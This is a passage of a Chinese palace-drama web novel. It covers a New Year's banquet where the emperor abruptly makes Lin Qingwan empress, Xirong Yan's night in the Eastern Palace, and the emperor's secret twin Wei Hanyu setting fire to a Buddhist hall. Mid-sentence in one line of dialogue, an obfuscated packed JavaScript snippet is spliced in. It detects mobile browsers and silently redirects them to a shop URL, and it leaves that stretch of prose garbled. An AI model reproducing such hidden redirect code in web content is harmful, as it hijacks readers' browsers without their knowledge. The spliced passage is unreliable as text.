魏太后听了这话,忙扶着云英的手站了起来,“怎么回事,好好的怎么会走水?” 魏晗烨宽慰道,“母后别急,朕已经派人去了。” 魏太后怒气未消,“底下的人都是干什么吃的,要是触怒了神佛,看哀家怎么收拾他们!” 正说着,秦川小跑着回来,“陛下,火势已经下去了,说是宫人不当心,打翻了火烛,火烧到了经幡上,这才走了水。” 贤太妃问道,“走水时,福宁宫可有什么人在那儿?伤势要不要紧?” 秦川看了魏晗烨一眼,回道,“只有几个值夜的宫人,因为发现的早,都没受伤。” 淑太妃闻言,忙念佛道,“阿弥陀佛,阿弥陀佛,佛祖保佑,还好没伤着人。” 魏太后面色不虞,“大过年的,这样不当心,云英,你去福宁宫传哀家的懿旨,把今晚值夜的几个宫人各打三十大板,统统赶出宫去。” 云英应了声“是”,转身去了。 魏晗烨提壶斟酒,亲自奉给魏太后,“也不是什么大事,母后吃杯酒,压压惊。” 苏蕙菁趁没人注意,悄悄吩咐青儿,“你去告诉乐妓,换一个欢喜的曲子来弹。” 青儿眨了眨眼睛,“明白。” 不一会儿,便听明快流丽的乐声乘风而来。 这一曲,乐妓似乎弹得分外投入,众人被这曲调感染,一时都听住了。 席容烟眺望着远处那片灿若云霞的梅花,笑道,“这曲《梅花三弄》倒是应时应景。” 苏蕙菁半阖着眼,“母亲曾和我说,琴犹药也,我从前只是不信,如今才算信了。” 琴声依稀,往事朦胧,魏晗烨抬眼看着席容烟。 她容颜清丽,神色淡雅,疏疏朗朗地临水而坐,抬手而饮。 他还记得,那年赏花宴上,她也是这般手抚七弦,一曲《凤求凰》,使他沦亡。 如今琴依旧,人尚在,一切,却已物是人非。 思及此处,他的眸色黯了黯,敛眉不语。 乐音渐止,魏晗烨拊掌赞叹,“这样好的琴声,朕许久未曾听闻了。” 魏太后笑了笑,“皇帝可要见一见这抚琴之人?” “哦?不是宫中的乐妓所奏吗?” “寻常乐妓怎能弹出如此清丽之音,云英,把人带上来给皇帝瞧瞧。” 苏蕙菁心觉奇怪,看了眼青儿,青儿摇摇头,意思是自己什么也不知道。 风起,忽听得一阵环佩叮当之音传来,由远及近,清脆悦耳。 众人探头张望,只见一个十四五岁的女孩子穿过朵朵梅花,缓步行来。 她没有挽髻,头发尽数掖在耳后,编成一条鹅卵粗细的辫子,鬓角插着几朵含苞欲放的梅花。她身上穿了一件玉色夹袄,底下是蜜合色穿花凤缕绫子裙,外披海棠红的羽毛缎斗篷,皑皑白雪,艳艳红梅,越发衬得她形容秀丽,姿态轻盈。 众人都看呆了,魏太后轻轻一笑,“婉儿,还不快见过陛下?” 女孩儿笑吟吟上前拜道,“臣女拜见陛下。” 魏晗烨怔了一时,“母后,这是?” “这是内阁大学士林修仁的妹妹林清婉,前日娴儿进宫看我,闲聊时说起了她家的这个妹妹,哀家便让她领来瞧瞧,这一见呀,哀家就喜欢上这孩子了,哀家听说她会弹琴,便让她留在宫中,弹给皇帝听听。” 魏晗烨点点头,“原来是林家的女儿,难怪她与……” 他看了眼席容烟,没再说下去。 英太嫔上下打量着林清婉,赞不绝口,“欸哟哟,好标致的人儿啊,臣妾记得《诗经》中有一句,‘有美一人,清扬婉兮’,用来形容林姑娘再合适不过了。”[1] “是呢,哀家也是这样同娴儿说的,这两句诗竟像是专门为这孩子作的似的。”魏太后笑了笑,又看向贤太妃与淑太妃,“两位姐姐以为如何?” 贤太妃和淑太妃自然明白魏太后的用意,皆是随声附和。 一个说,“林家乃是书香世家,教出来的女儿果然不同凡响。” 一个说,“都说天下桃李,半出林家,陛下若是娶了林家的女儿,岂不是一段佳话呀。” 魏太后满意一笑,“皇帝,你的意思呢?” 魏晗烨抬眸看着林清婉,“的确是个可人儿。” “有花堪折直须折,皇帝,你说是不是?”[2] “有花堪折直须折,莫待无花空折枝,母后说得很是。”[2] 魏晗烨啜了一口酒,“婉儿,你愿意进宫吗?” 魏太后闻言,不由一愣,她是想让魏晗烨将林清婉纳入后宫,毕竟,论家世,论出身,论模样,论性情,林清婉都是上佳人选,可她没想到事情会进展得这么顺利。 林清婉红了脸,小声说,“臣女愿意。” “婉儿,这是一辈子的事,说定了就不能反悔了。朕再问你一遍,你愿意进宫服侍朕,陪在朕的身边,作朕的妻子,大魏的皇后吗?想好了,再回答朕。” 众人敛息屏气,只听林清婉坚定道,“是的,臣女愿意嫁给陛下,一辈子侍奉陛下。” “好,秦川。” 秦川都看傻了,此刻听见魏晗烨叫他,慌忙应道,“奴才在。” “传朕旨意,兹有林氏之女,钟祥勋族,书香门第,温恭谦顺,克令克柔,仰承皇太后慈命,以金册金宝,立尔为皇后。望尔承欢以祗奉懿训,恭俭以表率六宫,和风以愉悦闺阁,德教以垂范海宇,绵延后嗣,兴我大魏,永绥天禄,含章福禧。钦哉!” 魏太后抿了抿唇,脸上是抑制不住的欢喜之色,“婉儿,还不赶快谢恩。” 林清婉连忙跪下,“臣女,不,臣妾叩谢圣恩,吾皇万岁万岁万万岁!” 众人也都起身行礼,“恭贺陛下!” 魏晗烨一挥手,“都平身罢。” 魏太后笑道,“婉儿,你今晚就不要回府了,直接歇在宫中吧,皇帝,哀家记得常德宫有个偏殿,不如让婉儿今晚就住进去,如何?” “好啊,那朕让秦川把偏殿好好收拾一下。” 魏太后更高兴了,她想了想,又说,“孝期未满,倒是不好大操大办的,婉儿,少不得要委屈你了。” 林清婉脸色微红,眼睫低垂,“臣妾不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520139|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕委屈,只要陛下,太后娘娘高兴就好。” “好好好,这可真是天大的喜事,皇帝,哀家敬你一杯,哀家可就等着含饴弄孙了。” 魏晗烨淡淡一笑,举杯道,“敬母后。” 魏太后心情大好,饮了酒,又想起了行令的事儿,因笑道,“光顾着说话了,刚刚签筒停在谁跟前了?” 魏晗远拱手道,“该儿臣了。” 说罢,他从筒内掣了一根竹签,待看见上头画着的梅花,不由得笑了起来,“真是巧了,弹的曲子是《梅花三弄》,掣的签子是‘白雪红梅’。” 肃安王看了一眼魏晗远,又看了一眼苏蕙菁,笑道,“依本王看,这‘白雪红梅’四字换作‘雪中春信’,才更见妙处。” 苏蕙菁红了脸,咬唇不语。 魏晗远垂眸笑了笑,拿着签子念道,“‘梅含今春树,还临先日池’,这是梁元帝萧绎的咏梅诗。”他将竹签翻到背面,继续念道,“弹琴一曲亦或赋诗一首,须与梅花相关。”[3] 众人都说,“巧得很,又是梅花,又是梅曲,又是梅诗,真真凑成一对了。” 苏蕙菁闻言,开口打趣道,“这签子倒是有趣,只是苦了咱们的哲远王了,又要弹琴,又要作诗,好好的一个王爷,竟比咱们都累。” 众人听了她的话,都忍不住笑起来。 “陛下,太后娘娘,林姑娘珠玉在前,臣再抚琴,也是贻笑大方,臣还是赋诗一首吧。” 魏晗烨微一颔首,“也好。” 魏晗远思忖片刻,心有所感,便要纸笔,只见他挥袖写道,“胭脂抛红豆,冷香袭衣裳。岁寒知清丽,山高见芬芳。开谢自有时,聚散亦寻常。飘飘何所栖,世外水云乡。” 写毕,他拱手道,“献丑了。” 魏晗烨沉声念了一遍,赞道,“好诗!晗远素有才名,果然非比寻常。” “皇兄谬赞,臣弟愧不敢当。” 魏太后拊掌道,“色味俱全,意境绝佳,的确是难得一见的好诗,贤太妃,你的这两个儿子一文一武,各有所长,你教子有方,功不可没呀。” 贤太妃忙道,“臣妾久居深宫,不过是一个无知妇人罢了,能教他们什么,全赖先帝和太后娘娘悉心教导,安儿和远儿才能有今日,臣妾希望他们兄弟二人尽忠尽孝,辅佐陛下,为我大魏江山尽出一点绵薄之力。” 魏晗烨朗声而笑,“哈哈哈,贤太妃不必谦虚,肃安王,哲远王都是我大魏不可多得的人才,有了他们二人的助力,朕在前朝也省事不少。” “那是他们二人的荣幸。” 夜里风大,平乐忍不住咳嗽了两声,她拢了拢身上的氅衣,起身行礼。 “陛下,太后娘娘,我身体不适,想先回去歇息了。” “平乐身子一直不大好,既如此,便快回去歇着吧,淑太妃,你也陪平乐一起回去吧。” 淑太妃行礼道,“多谢陛下体恤。” 魏太后笑了笑,“既这么着,咱们也都散了吧,天色还早,正好皇帝还能和婉儿说说话,聊聊天,也不算辜负了这良辰美景。” 魏晗烨点点头,“也好,那便散了罢。” 于是,众人便又行礼,一时各自散去,不提。 119. 依稀烟雨阁 月明灯晰,人的影子被光线扯得修长,打斜落在了黯淡阴冷的宫墙之上。 淑太妃挽着平乐的胳膊,二人沿着宫墙的边儿,缓步慢行。 “平乐,你的身子要不要紧,用不用请个太医给你瞧瞧?” 平乐摇摇头,“老毛病了,治不好的。” 淑太妃攥着她的手,心疼不已,“你的手怎么这么凉,这些年,真是苦了你了。” 平乐回握住淑太妃的手,平静道,“再苦都过去了,母妃,我如今不是好好的回来了吗。” 淑太妃眼中含泪,叹了口气,“平乐,是母妃对不住你,母妃……” 平乐站住脚,微微一笑,“母妃,不要再说这样的话了,你没有对不起任何人。” 淑太妃不知道该说些什么了,她这辈子谨小慎微,与人为善,从来没有害过谁,她自问自己虽然不是什么有才干的人,却绝对是一个好人。淑太妃在宫里待了这么多年,别人得势,她不巴结,别人失势,她也从来没有落井下石,在心有余力的情况下,她还会暗中帮上一把。 淑太妃与贤太妃同为宫里的老人,受到大家的赞誉,贤太妃靠的是见事明白,还有她的两个儿子,而淑太妃靠的则是淑慎温婉的性子。 阖宫中人提起淑太妃,没有谁不赞她一句好的,她也自认为当得起这个贤名,她这辈子唯一愧对的人便是自己的女儿平乐了。 淑太妃抱住平乐,忍泪含悲道,“母妃会好好补偿你的。” 平乐伸手拍了拍淑太妃的背,以示安慰。 淑太妃掏出帕子拭泪,目光忽地一顿,“欸?那是?” 平乐顺着淑太妃的视线看了过去,只见道路尽头的宫门处隐隐约约闪过一个人影。 采桑往前走了一步,“奴婢瞧这背影,好像是漪公主。” “漪公主?魏風漪?” 淑太妃点了点头。 平乐讶然道,“她居然还活着,太后娘娘怎会如此慈悲?” 淑太妃叹口气,说道,“她下毒谋害皇上还有太后娘娘,太后娘娘自然是想要她死的,只是皇上刚刚登基不久,太后娘娘不想落下一个心狠手辣的恶名,就把这件事搁置下来了。” “依女儿看,若以太后娘娘的心性与手段,即便不能明着杀人,在暗处使些手段也足够要了魏風漪的性命,要么就是太后娘娘有心放她一马,要么就是皇上在暗中保护魏風漪。” “你这么一说,我倒是想起来了,皇上和魏風漪的关系好像一直还不错,哎,明明是一出生就注定了的冤家对头,偏生还有了兄妹感情,真是造化弄人,让人唏嘘呀。” 平乐望着前方,疑惑道,“既然她还活着,方才除夕宴上怎么没看着她?” “听说她身子不适,自请待在宫里了,也是啊,她这个时候怎么会出现在这儿?采桑,你可瞧真切了,方才的那个人究竟是不是她?” 采桑道,“瞧着像是漪公主的身量,只是离得远,奴婢也不确定。” 平乐抬头扫了眼四周,“采桑,这儿附近都有什么宫殿?” “这儿附近的宫殿可多了去了,咱们之前住的景丰宫,贤太妃之前住的贤乐宫,还有赵太妃之前住的奉安宫都在这一带,哦对,还有祭祀祈福的福宁宫也离这儿不远。” “福宁宫,就是刚刚走水的福宁宫?” “是啊。” 平乐眉头微蹙,淑太妃见状,问道,“怎么了平乐?” 平乐想了想,叹气道,“罢了,横竖和我们也没什么干系,母妃,咱们回宫吧。” 常德宫。 魏晗烨命人将偏殿重新打扫了一遍,又添置了些物件儿,等林清婉安顿好了便离开了。 秦川趁着四下无人,回道,“陛下,福宁宫走水的时候,漪公主也在那儿。” “漪公主?她不是说自己身子不适,连除夕宴都来不了吗,她去福宁宫做什么?” “漪公主说,她是为了给先帝还有席容皇贵妃诵经祝祷。” “罢了,难为她一片孝心。”魏晗烨扫了眼秦川,“欸,你方才怎么不说?” 秦川连忙跪下,“奴才知道,太后娘娘不喜欢漪公主,今夜除夕,奴才不想惹出事端,害得太后娘娘还有陛下不快,所以私自瞒了,想着过后再单独说给陛下知道,陛下若是觉得奴才做错了,要打要罚,奴才都不敢有怨言,只是奴才确实是为了陛下着想才这样做的。” 魏晗烨笑了笑,抬手道,“秦川,你做得很好,起来吧。” “谢陛下。” 魏晗烨不但没生气,反而还挺高兴,他之前因为苏蕙菁的事儿,一直疑心秦川是不是魏太后派过来的,虽然他知道魏太后不会有什么害他的心思,可他也不希望自己身边的人忠于旁人。如今,秦川瞒了魏太后,却悄悄回给了他,他还是很满意的。 秦川揣度着魏晗烨的心思,“陛下,您今晚歇在偏殿吗?” “不了。”魏晗烨沉默片刻,忽然说,“这会子,陈姑娘应该还没出宫吧?” 秦川愣了愣,忙道,“奴才明白了,奴才这就派人去拦住陈姑娘。” “不。”魏晗烨看着秦川,“朕要你亲自去请陈姑娘回来,就说,朕有事同她相商。” “是。” 袁青抱着剑,走了进来,“陛下还是放不下她?” 魏晗烨笑着摇摇头,“放下了。” “那陛下还请她回来做什么?” “放下是放下了,可是事情还是要说清楚的,不然,朕的心里也过不去。” 约莫有一炷香的时间,席容烟终于到了。 “参见陛下,听说陛下找我有事?” “嗯。” 魏晗烨给秦川使了个眼色,秦川便带着殿内的人退了下去。 魏晗烨没有看席容烟,他转身走了两步,面朝窗子站定。 席容烟等了一会儿,见魏晗烨还是没有开口的意思,便问,“陛下找我,究竟所为何事?” 魏晗烨转过身来,凝视着她的眼睛,缓声道,“朕该叫你什么好呢?烟儿,还是旌儿?” 席容烟言简意赅地说,“都行,陛下随意。” 魏晗烨似是叹了口气,“旌儿,如果你知道了一个人的秘密,你要不要告诉那个人?” “那要看陛下说的是什么人,什么秘密?” “这个人是朕的一个朋友,朕能看出来,她现在过得挺好的,可如果朕把这个秘密告诉了她,她可能就没办法像现在这么无忧无虑了。旌儿,如果你是朕,你会怎么做?” “这个人对陛下来说很重要吗?” “很重要。” 席容烟想了想,说道,“如果我是陛下,我会告诉他实情。” 魏晗烨的喉结滚动了一下,“可是,或许她知道了真相之后,并不会开心。” “再不开心,也比被人欺瞒要好。” “旌儿——”魏晗烨张了张嘴,欲言又止。 “陛下到底想说什么?” 魏晗烨垂眸,轻声道,“没什么,朕知道该怎么办了。旌儿,你打算什么时候回西域?” “如果陛下允准的话,我想明日就动身。” “这么急?” 席容烟点点头,“我在这边没什么留恋的人和事,多待也是无益。” “旌儿,你可以过完上元节再走吗?”魏晗烨顿了顿,补充道,“朕没有别的意思,朕只是想带你逛逛长街,赏赏花灯,再顺便带你看看你们陈家的老宅。对了,还有林家,林家是你母亲的母家,内阁大学士林修仁的府邸就在长街上,你应该去拜会一下,毕竟你这一去,大抵就不会再回来了。” 席容烟思忖片刻,“好吧,那就上元节之后吧。” “嗯,天已经黑了,你就不要出宫了,东宫的偏殿一直空着,等下让秦川带你过去。” “东宫毕竟是陛下曾经的居所,我住进去,会不会不大好。” “权宜之计,又不是让你长住,你若住得惯,便住在宫里,若住不惯 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“秦公公,这间偏殿是什么时候布置的?” “大约是一年前吧。”秦川笑了笑,解释道,“那时候陛下还是太子,因为快要大婚了,吩咐奴才将东宫重新修整了一下,其中变动最大的就是这间偏殿了。奴才也不知道,陛下是从哪里寻来的图样,当时奴才费了好一番功夫,才凑齐了这些东西。” 席容烟绕过蔷薇木香的镂空竹屏,掀开冰冰透透的水晶帘,望着房间正中摆放着的金丝楠木垂花拔步床,上头悬着的天青色软烟罗纱帐,底下铺着的竹月地平金绣曲水纹锦衾…… 这里的一切一切,都与自己从前的居所别无二致。 她望着眼前熟悉而又陌生的景象,只觉得一阵恍惚,刹那间,她仿佛又回到了从前生活在宰相府的那段日子,她不由得深吸一口气,抬手抚了一遍黄花梨琴桌上供着的九霄环佩。 秦川道,“席容家被抄家之后,陛下命奴才取回了这张琴。” 席容烟点头不语,她瞧见壁上挂着的《洛神赋图》,又是一怔,“这是顾恺之的真迹?” “是,陛下遣人寻了好久,又以重金买下,挂在了这里。” 席容烟望着画上呼之欲出的神女,想起了魏晗烨之前曾说,“宫里的画院也有几幅摹本,你若喜欢,孤日后带你去看。” 没想到,他还记得,不光记得,他还想办法寻来了顾恺之的真迹。 她不禁有些动容,魏晗烨,你是个很好的人,只可惜,你我二人,终是有缘无分。 席容烟慢慢走了两步,她立在黄花梨明式品字栏杆的书架旁边,低头瞧着汝窑荷花缸中横着的几枝枯荷,喃喃低语。 “记得那个时候,你说眼下已非荷花盛开的时节,这一处的景致倒是荒芜了,如今又是这样,便知,春日里的荷花注定是开不起来的。” 秦川不明白她在说什么,试探着问,“姑娘是想折几枝荷花来赏玩吗?这时节只怕荷花都还没开,不过奴才倒是可以打发人去行宫瞧瞧,那儿有温泉水,暖和一些,兴许会有。” 席容烟笑着摇摇头,“我不过是想起了一些旧事,随便说着玩玩罢了,公公不必当真,这里已经很好了,有劳公公。” 秦川忙道,“姑娘客气了,这都是奴才应该做的。”他顿了顿,“姑娘如果没有旁的事,奴才就先不打扰姑娘休息了,陛下那边还等着奴才回话呢,奴才告退。” 席容烟微一颔首,“公公慢走。” 秦川推门出去,忽然瞥见一道人影一闪而过,他脱口而出,“陛下?” 席容烟探身张望,“怎么了?” 秦川揉揉眼睛,“没事没事,想是奴才看错了。” 他说着,转头吩咐门口的守卫,“你们夜里要打起十二分的精神,千万别出什么纰漏。” “是。” 120. 真假魏晗烨 一个时辰前。 福宁宫。 魏風漪跪在蒲团上,双手合十,阖眼念佛。 她被笼罩在佛像投下的巨大阴影中,显得格外渺小寥落。 明明是除夕夜,她却打扮得十分简单素净,头上随意挽着一个随云髻,身上只穿了一件黑底白花的莲纹素长袍,烛火轻曳,她整个人映在光影里,如同一粟浮于沧海,甚是单薄。 不过数月光景,在她的脸上已经瞧不出从前那个活泼爱笑的“漪公主”留下的任何痕迹。 此刻的御花园中,清弦飞扬,乐声频起,众人饮酒作乐,好不快活。 魏風漪仿佛被外面的世界遗忘了,又或者说,她主动选择遗忘了外面的人与事,是与非。 檀香逸散在空中,弥邈疏旷,她的神情恬淡静默,世上的一切悲欢愁喜都已经与她无关。 香儿和罗儿跪在她的身后,有些发困,她们微眯着眼,忍不住打起了瞌睡。 忽然,一阵风起,一地乱影。 魏風漪没有睁眼,只是淡淡吩咐道,“香儿,起风了,你去把殿门关上。” 她等了一会儿,并没有等到香儿的回应,只得微微欠身,回头去瞧。 待看见门口的黑衣人时,她的神色不由一变,“是你?” 黑衣人缓步走上前来,笑道,“公主见到我似乎并不欢喜。” 魏風漪扶着蒲团站起身来,冷声道,“你来做什么?” “公主深陷困顿,我自然是来帮公主的。” “本公主过得很好,用不着你来帮倒忙。” “公主一定要拒人于千里之外吗?” “哼,你不就是想借我的手,杀魏晗烨吗,换个人吧,我已经放下了。” “公主还真是心宽之人,杀母灭族之仇,也能说放下就放下,佩服,佩服。” “你用不着激我,本公主不吃你这套。”说罢,魏風漪伸手指着香儿和罗儿,厉声问道,“你对她们二人做了什么?” “放心,她们没死,不过是暂时昏睡过去了而已。” 魏風漪听了这话,神情稍缓,她抬手往门口一指,“你走吧,本公主今晚就当没见过你。” 黑衣人却没有动,他看着她,一针见血地说,“公主真的放下了吗,倘若真的放下了,公主又怎么会一口一个‘本公主’?” 魏風漪咬着唇,没有作声。 黑衣人仰头注视着佛像,喃喃自语,“世人都说,拜佛可得解脱,可有谁真的得到解脱了呢?不过是自欺欺人罢了。漪妹妹,你还要自己骗自己吗?” 魏風漪一愣,苍白的脸上继而浮现出惊愕的神情,“你,你……” 她凝望着黑衣人露出的下颚,紧抿唇瓣,拼命摇头,“不,这不可能。” 黑衣人似乎笑了笑,“漪妹妹,我还活着,你可欢喜?” 魏風漪艰难地咽了口吐沫,“你究竟是谁?” 黑衣人没有答话,他慢慢地抬起手,撩起宽大斗篷上的兜帽,露出一张脸来。 魏風漪不觉“啊”了一声。 他的这张脸竟然同魏晗烨生得一模一样。 魏風漪的眼角倏然滑落两滴清泪,“晗烨哥哥。” 黑衣人勾勾嘴角,走上前来,他扶住她的肩,缓声道,“其实,你应该叫我,晗煜哥哥。” 魏風漪打量着他疏离冷峻的眉眼,张了张嘴,木讷地重复了一遍,“晗煜哥哥?” “嗯。” 黑衣人松开手,跪坐在蒲团上,他抬眼望着神圣肃穆的佛像,悠悠道,“漪妹妹,我给你讲个故事罢,一对同胞兄弟的故事。” “二十年前,一个母亲生下了一对同胞兄弟,他们长得几乎一模一样,唯一有所不同的,便是哥哥的无名指上落了一颗胭脂痣,而弟弟则没有。这对兄弟两岁的时候,母亲抱着他们去西山祈福,六净寺的师傅说,这两个孩子,一个会继承全部家业,而另一个则会死于非命。这个母亲听了这话,一直忧心忡忡,却又无计可施。” “时间就这么一天天过去,一晃眼,这对兄弟已经五岁了。这对兄弟的父亲不是只有一个女人,那一年,他的另一个女人为他生下了一个女儿,父亲很欢喜,为这个女儿举办了百日宴。百日宴上,弟弟误食了有毒的桃花糕,差点因此丧命,幸而他吃的不多,最终捡回了一条命,可是从此以后,他永远失去了自由。” “因为他的母亲想起了那个可怕的谶言,她认定,弟弟就是会死于非命的那个人,所以她把弟弟关了起来,这一关,就是整整五年。五年中,弟弟生活在没有昼夜,不见天日的暗室里,每一分每一秒对他来说都是煎熬,外面的人都以为他已经死了,哼,他也确实是死了。直到五年后的一天,弟弟央求看守他的侍女带他出去转转,侍女心软,答应了他。就这样,弟弟见到了锦衣华服,已经被立为东宫太子的同胞哥哥。” 黑衣人冲着佛像伸出双臂,仰天大笑,“哈哈哈哈,为什么,为什么命运如此的不公,为什么同父同母的同胞兄弟,境遇竟会如此天差地别!就因为一块糕饼,就因为我吃了一块有毒的糕饼,我就要忍受长达五年的囚禁与屈辱。可又有谁知道,那块糕饼是哥哥亲手递给弟弟的,哥哥想吃,却怕被母亲责骂,所以不敢吃,先拿给了弟弟一块,他想等弟弟吃了,自己再吃,这样母亲就不会说什么了。哼,他总是这样,把自己撇的一干二净。可是弟弟呢,弟弟却要为此付出五年,十年,甚至是一辈子的自由!凭什么!佛祖,你告诉我,凭什么!” 黑衣人的笑声愈加悲凉,他的手臂缓缓滑落,最后无力地垂在地上,“这太不公平了,所以,弟弟骗了哥哥,弟弟说,他想出来待一个月,一个月就好,哥哥答应了弟弟的请求,他们互换了身份,可是弟弟没有履行诺言,他不想再回到那个黑黢黢的暗室,他想正大光明的活着,活在众人的欢呼声中,于是,哥哥代替弟弟永远留在了那间暗室里。” “可是弟弟过得并不快乐,他每天都做噩梦,梦到有一天,哥哥终于忍受不了暗室里的生活,把这件事告诉了母亲,母亲把弟弟重新抓了回去,并且绑了起来,他每天都做这样的噩梦,每天都做。” “后来,弟弟发现父亲的另一个女人要杀自己,于是他将计就计,‘死’在了那场谋杀中,母亲迫不得已,将被关在暗室里的哥哥放了出来,顶替弟弟的身份,而弟弟则如愿以偿地获得了自由,但这来之不易的自由,早已经不是弟弟想要的了。” 魏風漪木然呆立,“难道你就是……” 黑衣人猛地转过头来,目光中充斥着恨意,“对,我就是那个弟弟,他就是那个哥哥,而你,就是那个百日宴上的女儿,就是你的母亲在桃花糕里下了能要人性命的剧毒!” 魏風漪身子一软,瘫坐在地,“所以,是我的母妃干的?” 她的眼角滑下泪来,半晌,她抬眸望向黑衣人,“我的母妃害了你,你早就知道这一切,却还故意接近我,给我带各种好吃的,母妃没空管我的时候,你就来陪我玩,我们一起爬树,一起去厨房偷好吃的,一起玩各种好玩的东西,你不是真的想对我好,你是想利用我?” “是,我一开始是想利用你,我想利用你给你的母妃下毒,然后再把你也杀了,可是,”魏晗煜闭上眼睛,缓声道,“可是人非草木,孰能无情,漪妹妹,我后来是真的想对你好。” 魏風漪睁大眼睛,泪水像断了线的珠子般,“啪嗒啪嗒”掉在地上,“真的想对我好?” 魏晗煜苦笑道,“我没有骗你,不论你信与不信,我后来对你的好是真心的,我是真的把你当成了自己的亲生妹妹来疼惜来照顾。我的母后囚禁我,而你的母妃每天忙着陪父皇,忙着使用各种阴谋诡计,根本没空管你,我们都没有获得过完整的母爱,漪妹妹,其实我们是一样的人。” 魏風漪紧紧攥着自己的袍摆,她小小的身子不住颤抖,“那么现在呢,现在你来找我,也是为了我好?”她拼命摇头,像是在问魏晗煜,又像是自言自语,“你为什么要让我知道这些,你为什么要打破我平静的生活,为什么?为什么 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魏風漪闻言,目光微动,她抬眸看着他,久久无语。 魏晗煜自嘲般地笑了笑,“我现在这个样子是不是很吓人。” 魏風漪缓慢而又郑重地摇了摇头,“没有,你的容貌和从前一模一样,一点都没变。”她顿了顿,补充道,“眼神也是。” “是吗?我从前也是这样吗?” “嗯,从我记事起,你就是这个样子,我那时候很奇怪,为什么你对别人都是冷冰冰的,却唯独对我那么温柔,那么有耐心。”魏風漪苦笑一声,“我现在终于明白这是为什么了。” “所以,你现在也开始讨厌我了,是不是?” “没有。” 魏晗煜摇头道,“不,我知道的,你在骗我,你们都讨厌我,都恨不得我去死。” “没有,真的没有。”魏風漪看着他这副模样,不知为何,她的心又疼了起来,她上前一步,像很久很久之前那样,拽着他的衣袖,轻声安慰,“你还记得吗,我们第一次坐下来聊天,你一遍遍地吟那句诗,吟那句我听不懂的诗,‘既冰心兮皎洁,上问天兮胡不闻’,你还记得,我同你说的话吗?”[1] “记得,你说,只要问了,就一定会有回答。”魏晗煜突然苍凉一笑,他抬手指着佛像,疾声道,“可是回答在哪儿?有吗?没有!从来没有!” 他桀桀大笑,“哈哈哈哈,漪妹妹,你看看这些佛像,它们受着世人的朝拜供奉,可它们对世人何曾有过一丝悲悯?当初,就是因为母后听信了那个什么大师的话,才有了我这颠沛流离,苦不堪言的一生!” 魏風漪眼见他拿起蜡烛,不觉惊呼,“哥哥,你要做什么?” “我要做什么?”魏晗煜冷笑起来,他高举案上的火烛,挥手点燃了梁上悬挂着的经幡,“我要把这些瞎了眼睛的雕像都烧得一干二净!” “不,不行,你这样会触怒神灵的!” “神灵?哈哈哈,神灵在哪儿?在哪儿呀!”他伸出双臂,似乎想要投身那片已经燃烧起来的熊熊烈火之中,“如果真的有神灵,就请神灵睁眼看看这一切!不要再装瞎子了!” 殿外传来了脚步响,“佛堂怎么起火了?不好,漪公主还在里面!快去救人!” 魏風漪慌忙推他道,“来人了,你快走!” 魏晗煜不屑道,“怕什么,你别忘了,我这张脸可是和那个人生得一模一样。” “这会子他们都在御花园的除夕宴上呢,你再不走,就真的要暴露了。” 魏晗煜看见她眼中的焦急之色,微微一笑,“漪妹妹,你不想我死,对吗?” “对,我希望你能好好活着。” “好啊,那你帮我,只要你答应帮我,我就能好好活着。” 嘈杂错乱的脚步声越来越近,魏風漪一狠心,咬唇道,“好,我帮你,我帮你还不行吗。” 魏晗煜得到了自己想要的答复,他向她眨了一下眼睛,“漪妹妹,明天我们老地方见。” 121. 梦碎人初醒 东宫偏殿。 这一夜,席容烟睡得很沉,恍惚间,她梦到了她的母亲林氏。 “旌儿。” 疾风迭起,火光冲天,席容烟看不清林氏的面容,只能紧紧地抱住她。 “母亲!” 林氏摩挲着她的脸颊,“我的旌儿都长这么大了。” 席容烟流下了眼泪,她知道这是一场梦,一场随时会醒来的梦,她不住抽泣,抱得更紧了些,哽咽道,“母亲,你不要走,你不要走,好不好。” “傻孩子,没有谁能陪谁一辈子,母亲早晚要离开的,旌儿,你要学着自己照顾自己,等你长大了,再找个好人家,找个好夫君,和他好好过一辈子。” 席容烟用力点头,“母亲,我已经嫁人了,他叫寒星,他对我很好,我和他在一起过得很快乐。” “那就好。”林氏絮絮叹了口气,“旌儿,你过得好,母亲也就安心了,母亲要走了。” “不要。”席容烟哭出了声,“母亲,你不要走!” 林氏含泪吻了吻她的额头,“旌儿,你要记得,母亲爱你,母亲永远爱你。” 说罢,林氏用力推开席容烟,转身扑向火海,转瞬间,她的身影便被肆虐的火舌吞没了。 席容烟跪倒在地,无力地哭喊着,“不!母亲!” 泪眼朦胧之际,她看见了站在高处,手持火把的那个人,她怔住了。 即便天色昏暗,即便相距甚远,即便那个人带着面具,她还是一眼认出了他。 怎会……如此…… 席容烟死死咬着唇瓣,因为太过用力,她再张口时,雪白的牙齿上裹着一片断续的残红。 她艰难地吐出了那两个字,“寒,星。” 那是一种怎样的痛啊。 她只觉得,有人在拿刀子剜她的心。 一刀,两刀,三刀…… 殷殷艳艳的鲜血凝结在地面上,仿佛一块瑰丽的红宝石,绚烂而又凄美。 她眼睁睁看着那个人。 那个她熟悉的不能再熟悉的人。 “不!”她痛哭起来,“为什么!为什么!” 她的声音渐次低落下去,呢喃道,“寒星,怎么会是你,为什么会是你……” 这时候,桃夭的声音突然在她的耳畔响起,“姑娘!姑娘你怎么了?姑娘你醒醒!” 这声音飘飘渺渺,仿佛穿过了万水千山,漂浮在支离破碎的梦境上空。 泪水漫延出一条苦涩的道路,她艰难地攀着这条路,睁开了眼。 只见桃夭正一脸担忧地看着她,“姑娘?” 还好是梦。 席容烟下意识地想,还好,这只是一场梦。 可是……真的就只是梦吗…… 泪水浸透香枕,晕出一片湿冷,她张了张嘴,虚弱地问,“桃夭,什么时辰了。” “丑时了。”桃夭上前扶起她,关切道,“姑娘这是怎么了?做噩梦了吗?” “嗯。”席容烟神情恍惚,呆呆地怔了半晌,忽然说,“寒星呢。” 桃夭闻言笑了笑,“原来姑娘是想心上人了呀。” 席容烟摇摇头,却并没有多说什么。 梦里发生的事情太过恐怖,她一个字都不想提起。 “姑娘,时辰还早,你再睡一阵儿吧,再过几日,等咱们回西域了,就能看见大汗了。” 